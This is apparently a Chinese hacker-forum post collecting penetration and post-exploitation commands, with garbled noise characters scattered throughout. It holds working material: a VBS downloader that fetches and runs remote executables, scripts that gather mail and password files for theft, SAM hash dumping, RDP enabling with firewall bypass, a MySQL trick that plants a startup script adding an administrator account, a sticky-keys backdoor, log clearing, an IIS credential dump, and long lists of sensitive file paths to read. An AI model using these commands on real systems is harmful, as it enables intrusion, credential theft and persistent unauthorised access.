9 M7 n) G; e- N. \* v- i* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
1 {3 K6 D3 ^& l, Q$ i! a3 x2 @# Q*
/ U0 _# }  U6 U/ ~, Y, Vcalling nmount()
6 h, a% ]) x6 }# x; o& [
7 E! k+ A& }4 J/ f（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
8 s2 q& R+ X! E感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 a& N( ^  n" E: W————————————————————————————
) O7 O8 S7 d* c1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
4 W7 }5 U; H" @0 h关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
! k) i; ?1 j7 u; ^" A那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ T6 k1 E& ^6 a9 U' J2 s3 m}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
/ U6 H) E. ?7 _+ y6 n4 q4 x1 hChurrasco          kb952004
3 l0 X$ m0 Y) X, v0 U* T命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
( b# n/ Y8 G8 [! |5 H——————————————
  F* W+ a# d/ L2、收集系统信息的脚本  
for window：
/ u8 d  |# i  b  p  y% E
@echo off
echo #########system info collection
systeminfo
# E+ M  k- W$ L3 O, E  t6 Kver
hostname
# V3 c: e' w. d+ rnet user
net localgroup
2 ~0 z3 g9 P6 N( q$ ]: Y5 ]! jnet localgroup administrators
3 `* }; L9 f) p; X" rnet user guest
2 j- i7 j. P6 U( V3 W4 qnet user administrator

echo #######at- with   atq#####
echo schtask /query
& p" N6 v9 W" D% f+ E; ?) i9 R
echo
' M1 ?# K% r" l4 |* aecho ####task-list#############
tasklist /svc
echo
; z2 x* {0 W- h! @% h  [echo ####net-work infomation
  C9 o3 ^" _! T  Wipconfig/all
* g/ e6 v  S  F9 Proute print
0 e* I) z0 I9 b6 j& p  jarp -a
9 `. `! r( t) ]% f$ mnetstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
1 t6 ^' K- l* K/ N/ u! ?& qecho #######file-##############
cd \
# e% ]5 a' F" D2 @tree -F
for linux：

7 @* {: p. I1 |0 G#!/bin/bash
( A) S) j. I8 R, S% z) q
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
4 j5 @2 b& w6 f  d, |cat /proc/cpuinfo
7 m7 i% Z5 C9 e, Y  c' Oecho
rpm -qa 2>/dev/null
######stole the mail......######
( a* \8 I5 q  h% ]# r4 Z" M; Qcp -a /var/mail /tmp/getmail 2>/dev/null

& E6 L/ s6 W5 B. ]$ N8 ~3 v7 Y5 N
$ F  d4 |; P9 s6 I! d& Necho 'u'r id is' `id`
echo ###atq&crontab#####
1 b; B+ c) C" T# y6 x: Satq
crontab -l
$ T7 L- e* P: N3 Qecho #####about var#####
6 v; Z2 H8 H5 K2 `5 Qset

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
7 _/ x- T- @) K, _# f- j* zcat /etc/hosts
hostname
* B$ k* f/ c) T+ Oipconfig -a
arp -v
: E+ E+ }9 c7 Recho ########user####
- q* h+ Q7 U9 s3 F8 \cat /etc/passwd|grep -i sh

: T4 y: s& ^% U) secho ######service####
" f0 `# f- f+ m/ pchkconfig --list
1 ?, w$ |7 C* G  v$ Y# `
9 M& K8 R+ N5 d8 efor i in {oracle,mysql,tomcat,samba,apache,ftp}
9 \* i/ g' \/ V7 icat /etc/passwd|grep -i $i
% Q! C/ x1 U5 K* Pdone

locate passwd >/tmp/password 2>/dev/null
( D% @* y& x, i9 p3 Ksleep 5
" ]) f' m8 B9 i, ulocate password >>/tmp/password 2>/dev/null
# K1 R; l- f9 Esleep 5
: d" W4 k& Z" B+ R6 I9 K0 @locate conf >/tmp/sysconfig 2>dev/null
& H) v. Q! T9 @( P( |2 }6 Osleep 5
1 b; I3 X2 @9 C  V7 r" @' mlocate config >>/tmp/sysconfig 2>/dev/null
7 z# }: `& h# B2 i- dsleep 5
( c6 s. l/ H1 {8 B; F5 e+ I
# }. Q7 `- N4 \( H. y###maybe can use "tree /"###
echo ##packing up#########
) t1 D% T7 u6 F3 K5 R  w0 Y, x, L4 D: f6 Rtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
# u& n: X: z+ G2 c( e4 n3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
& D. \$ b) \- q( y1 H1 u               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
: G9 ?0 M1 X/ [3 @+ c* N7 t0 u5 P注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
; @9 J$ E" P) l; m9 T' l1 p——————————————
0 }" @1 X4 l1 T. b2 g% R4、vbs 下载者
! I1 A3 I# @0 Y2 X1
! ~& w6 s* }& C* Uecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
. Y; g8 m+ Z9 a! {* N! lecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
. \# n+ w4 \/ z! |0 }# y% fecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
4 |% a) Q& F- T" x5 j6 G+ p0 tcftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
2 B3 @  g) I8 M/ a1 X2 iiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
. z3 D) \* N) y( zs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
& E7 T; F- q- s0 E: B1 E4 d2 PsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

6 @' O- _. k; G. N1 M6 S1 jcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
/ a# [; V+ q$ L" }# @! c- C* y# ^
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
: l2 J! _9 [$ p; ]5、
: \% `8 p5 r- b- m) N1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
! b  Y4 Z1 [5 l) u' h$ J; rREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
( n6 s* V; _3 \+ OREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
: Z6 f- \9 L5 X; Q4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
3 s$ ?+ d. l& ^1 D# x# H  g3 o5 eREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
1 `6 A! z( N  [* z4 finsert into a values ("set wshshell=createobject (""wscript.shell"")");
1 x% m5 h) G4 |insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
8 q' h& K3 U% \* R+ s  ^- w, z% `insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
, N' [7 Q2 N" ?, }. [————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
: k0 g/ D* g5 Z  {( `0 u1 l_____
8、for /d %i in (d:\freehost\*) do @echo %i
& J& x( G8 b" O, o& o, }4 T
1 O' o& n: ~/ {' n: S+ C7 s) g列出d的所有目录
  
  for /d %i in (???) do @echo %i
+ E  P) l$ o" k
/ W* x2 G) W! z; |3 U( s: w0 @把当前路径下文件夹的名字只有1-3个字母的打出来
+ a8 J) x! P( X2 E/ o5 k- T
, q2 _* W+ T9 S; S' b9 V$ n  \2.for /r %i in (*.exe) do @echo %i
  
3 @( g' P, D4 m! G以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

) S8 d. z4 B: C8 k4 R1 n4 xfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
( a- ^3 G2 o3 \5 C
3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
$ v- k* ]8 {6 D: w: r6 V
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

, D9 z- [3 l8 m( c4 U  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
8 n; [  ^$ m& g4 kreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
2 o" I) `7 B& a1 i. `/ b
2.修改3389的默认端口:
3 ~' k0 {4 a7 [- p7 wHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

4 n3 i+ j  u1 A% B0 l: \3.清除3389登录记录:
/ m8 U, j) K. ?1 i& oreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
) c- F2 K" [# F: Z, l
4.Radmin密码:
& t9 u/ J- G- Z1 nreg export HKLM\SYSTEM\RAdmin c:\a.reg

4 F3 r7 F8 W$ s9 b6 P$ b, @, v5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
8 R! A. ]$ _$ H) i+ W7 E
6.IPSec默认免除项88端口(需重启):
& R; U) i' R$ F3 @! [reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
9 g. p! `. d7 @5 `: ?netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
$ U6 k' I' f1 d+ s. Anetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
  f$ ?* l1 n/ P0 I
4 J# @5 z. B) }% X9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
7 q3 L% F% \9 w* q, Creg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
1 ~# I8 Y) v9 e6 g; X
10.shift映像劫持
8 P. x; C: g! xreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
" S* U6 i4 o6 D0 c: f  m% K: O: W-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
' k! n3 T3 d, ?9 YFor Each obj3w In objservice
, r: t' X5 t5 v* M+ W5 schildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
; J5 z; c4 H- qif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
" ^. F" u, i% F" F& \' z# W! C! qmsgbox("error!")
+ t& I( o0 |, I( D0 cwscript.quit
end if
/ U: E/ D$ [( m' j! Lserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
! U/ ?& w" E0 P5 K9 j: N" {set IISweb=iis.getobject("IIsWebVirtualDir","Root")
2 K( k5 n8 m, c" a5 s8 X' z: Luser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
- K, G/ z* H; @list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
! U4 t# \: W4 m1 ^' Aend if
Next
wscript.echo list
2 v( p9 a/ E5 g  \3 X& ~Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
" E/ k- h& Z5 N: ?. |7 g" `$ R复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
. |5 |6 y; ~! b1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
$ [# \: S; Q  Y" i3 r( z将folder.htt文件，加入以下代码：
# ~( o* N2 X! j<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
8 X" m0 h# s2 J" ]  q+ ]复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
! g, d5 L" Q/ E( m9 u2 zasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
% H* O% e8 A8 @5 k 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
$ [3 k0 o( x# r; P2 P0 o3 x 解决方法
( ]4 H# z+ n1 U5 R+ K- P- R  B url=request.severvariables("path_info")
. X; T0 q2 r) n  r1 e: { path_info可以直接呈现虚拟路径 顺利解析gif大马

7 C% N+ u# I1 a$ Z2 `/ g( H5 j6 |" e==============================================================
* ~4 u0 E: E; PLINUX常见路径：

/etc/passwd
5 t( A  ~0 F: {: p6 _3 i' M; r1 T9 U/etc/shadow
5 ]! R( r: h6 r: e4 r6 o/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
! j- q; k9 ^! K' h2 ]4 w/var/www/htdocs/index.php
7 I5 M& w0 c* ]2 ^  p; n/var/www/conf/httpd.conf
" l% ^0 j5 Z4 L5 J8 ?+ f8 j/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
: i! G* p0 C  s# P: h% C* o; W3 M/var/httpd/conf/php.ini
/var/www/index.html
) e, `- r+ A9 ]. q" ~/var/www/index.php
8 [  C; k6 }3 W7 g# L) D/opt/www/conf/httpd.conf
. O$ C0 A; q5 T0 p7 a/ N/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
; e- _8 w" k8 M1 f/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
" l2 ^# |: I8 G7 t8 u. r2 a9 S1 Y/usr/local/apache2/htdocs/index.html
* c' c" v) U& N. W7 ]2 e/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
. f  o( z& d  P5 |! ]2 h& U/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
5 |8 |& g- J7 e' B$ q6 H$ T! g+ C/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
! s5 z" G7 C( N, L8 R0 W" R/www/conf/httpd.conf
  X! H" o! O9 b. d: T% {6 T/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
8 v- J: F8 B8 v5 u2 F0 Z$ d  B/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
: C0 A+ b( v: }: H% W" R/etc/apache2/vhosts.d/00_default_vhost.conf
5 H7 f% a4 W7 Z; z. O/ r% K  H/etc/apache2/sites-available/default
! v$ U3 s1 H  a) q$ l' n8 O/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
1 g0 E9 L- ^" @+ ]: p9 \* l/etc/httpd/conf.d/php.conf
* s- B) B* w) Z% B4 M: i! D/etc/httpd/conf.d/httpd.conf
2 f1 f& C, h" m; }: J$ G/etc/httpd/logs/error_log
, l9 X( i) t0 l9 ~/etc/httpd/logs/error.log
% _: `6 C' ]; w1 {, ]/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
! j+ [; [/ R7 Y9 P& k" y/var/log/apache/error_log
  }! g. {9 Y2 ]/var/log/apache/error.log
7 a8 x/ ]( Q7 f6 o# F/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
, B9 B; f# ?3 |' R! i/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
8 W, @/ ~2 U+ Q; C! Q7 `/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
) T" I0 S2 J" ^$ w" ^/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
4 x" j/ K8 g1 {; {/var/log/error.log
2 \! B" _6 k' q0 ?5 T- t/var/log/access_log
% W* y7 F% m/ T( ~  r# i. Q/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
2 }# |! B3 L$ k* E+ ^8 I  x/usr/local/apache/logs/error_logerror_log.old
9 {) m$ r2 Z' s7 U" I/etc/php.ini
  ?$ K/ X9 m+ L2 F9 \: M/bin/php.ini
/etc/init.d/httpd
$ h' S: b7 X, \# T0 S. t) P/etc/init.d/mysql
/etc/httpd/php.ini
/ F5 m% Y% Y" _/ I5 p, G/usr/lib/php.ini
: n' q8 T1 e. z. V/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
" Y* k# F1 v" t/usr/local/php/lib/php.ini
; b& I8 c5 x- x  @/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
4 j$ m5 [) y- z: P' x9 H7 |/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
1 G/ q0 P! }, [  g) D- H/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
, H8 Y; ~) r5 ^/usr/local/apache/conf/httpd.conf
: m( r8 [) ^2 ~7 j& X: v9 `8 s8 I+ e' k/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
# l- g0 K" l& K5 L& o0 ?/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
3 P) r# W# j/ j, _! J/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
5 B4 _% r# h9 A# |/ Q9 J7 T/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
8 c# J- d8 F( x/etc/php4/cgi/php.ini
, b+ m8 Q0 T+ B* a: O. }( t: R! c9 K$ H# G/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
7 I) z/ ~; O2 S+ Q. [/apache/php/php.ini
, i4 N. P" F! [2 u0 W3 e/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
$ L: Q/ q& H. H9 r/ O7 L# k+ v% P6 N/home/bin/stable/apache/php.ini
3 L/ z6 H# d, _& ?% q+ N3 Z/var/log/mysql/mysql-bin.log
) C( }9 A$ v2 o- _/ U/var/log/mysql.log
! p. A7 ^. {  A* f5 [/var/log/mysqlderror.log
! i" q! j. W5 `/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
; A  z! z% M. _" z+ ]$ i. Z, k/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
( n  X3 W4 H, v0 D9 V8 l1 N/usr/local/mysql/bin/mysql
; @/ `3 a7 r( X5 }/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
* Y" @: l; B. \# [/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
& R' W- U; M5 G9 L; ]0 j/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
8 K8 ^8 ~: s$ [
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
9 {7 h$ ~2 j1 S7 X+ X
c:\windows\php.ini
3 r& l% \6 T# R8 Y- S  vc:\boot.ini
c:\1.txt
7 u/ f. z- q; kc:\a.txt

c:\CMailServer\config.ini
+ _0 o' [6 M# @; Bc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
8 y1 B6 c2 e& w) C# lc:\program files\CMailServer\CMailServer.exe
& R; m9 G+ |( D* Y3 A9 H- Cc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

3 e/ f; b) T* @7 @) Cc:\hzhost\databases\url.asp
5 g* f1 U9 b5 z- H7 a- n
c:\hzhost\hzclient.exe
) _& H: n7 z! NC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
) R; L& {5 d/ M" q# n
# ~$ v6 W" Q+ g1 ]. n1 h* _: G! qC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
0 m; r( c. ]# u4 ic:\web\index.html
c:\www\index.html
: `* Q4 J% p0 p2 g& K- a" Cc:\WWWROOT\index.html
1 O& c3 b' ~# m, T( `# H  A+ |c:\website\index.html
! W" H$ H$ P0 O, Q; Yc:\web\index.asp
' [1 m( D- u  Z& x+ w2 N; K/ cc:\www\index.asp
& m) C) y7 _0 ?( p; C$ nc:\wwwsite\index.asp
c:\WWWROOT\index.asp
9 }5 R: h) \1 T* N0 @# Rc:\web\index.php
; n3 w* q$ S' |4 B0 c* ec:\www\index.php
* o2 }7 d) u5 ?7 \/ H8 H8 ]9 hc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
% n  u" n% T& |c:\www\default.html
c:\WWWROOT\default.html
' ?3 N6 S4 W8 ?" Bc:\website\default.html
c:\web\default.asp
. @$ H2 r7 }/ C7 K6 L. lc:\www\default.asp
* M1 L) a* [& p3 T3 q7 Z8 e# z2 fc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
& }% c3 v/ V& _( O* [. h: Xc:\www\default.php
c:\WWWROOT\default.php
4 o6 n. D+ S8 L. r% @' uc:\WWWsite\default.php
) W/ P) U/ k$ R$ {2 `% @C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
! z9 ~1 w9 F+ G: P. U9 TC:\Program Files\Microsoft Office\OFFICE10\winword.exe
. i2 v' w  J$ Z- FC:\Program Files\Microsoft Office\OFFICE11\winword.exe
6 J4 q2 N: T! @C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
- E# N7 v$ p5 t3 u& H, pC:\Program Files\360Safe\360safe.exe
+ p9 I! R" Z( J4 t, Y8 `* oC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
8 C8 W+ `7 w+ ~5 I. z% Xc:\ravbin\store.ini
c:\rising.ini
# W' J8 l  N( G" u- BC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
" v! Z( K) }# m1 g$ A$ w5 a! WC:\Documents and Settings\Administrator\Cookies\index.dat
8 A$ J+ v7 O- GC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
% M" S' Z6 a  A% ?3 g! ~" GC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
, e. `6 Y" B8 E6 V2 Y- rC:\Documents and Settings\Administrator\桌面\1.txt
2 E/ [& h0 f! u  i' iC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
* x/ E* {- a: [  d- VC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
# d( ]$ W/ X* Y% k. E& qC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, G. R: r: Q1 K  Q* y) D# eC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
  Q# H( K5 N2 ~& ]5 c+ }6 sC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
2 H. N" e4 B- YC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
6 t) s% S5 s6 u- G  e6 yC:\Program Files\MySQL\MySQL Server 5.0\COPYING
7 F+ k1 r% u* _1 dC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
! H: h: V& V; TC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
# ]/ T0 d  R' u/ N7 N8 pc:\MySQL\MySQL Server 4.1\bin\mysql.exe
- f! @. q& _( B" h" Y! N4 Z2 yc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
( Y! B8 O& `0 s" s# ~, o( b& z- eC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
6 T" M: R, t: I# FC:\WINDOWS\system32\config\system
0 C) T8 }# H5 {: nc:\CMailServer\config.ini
9 o- B- E4 c$ O# ec:\program files\CMailServer\config.ini
+ Y, _0 d9 t& R8 I7 a4 Rc:\tomcat6\tomcat6\bin\version.sh
/ G/ r; H; d+ R4 T' y' G2 cc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
- Z" D. U* c- mc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
+ j/ E5 j2 S  K% B" O4 Tc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
' I' j) P. W. ~1 Z$ Pc:\Apache2\Apache2\bin\Apache.exe
& @' z8 w3 p$ u7 C: P0 Pc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
. V/ X& v/ M! n0 fc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
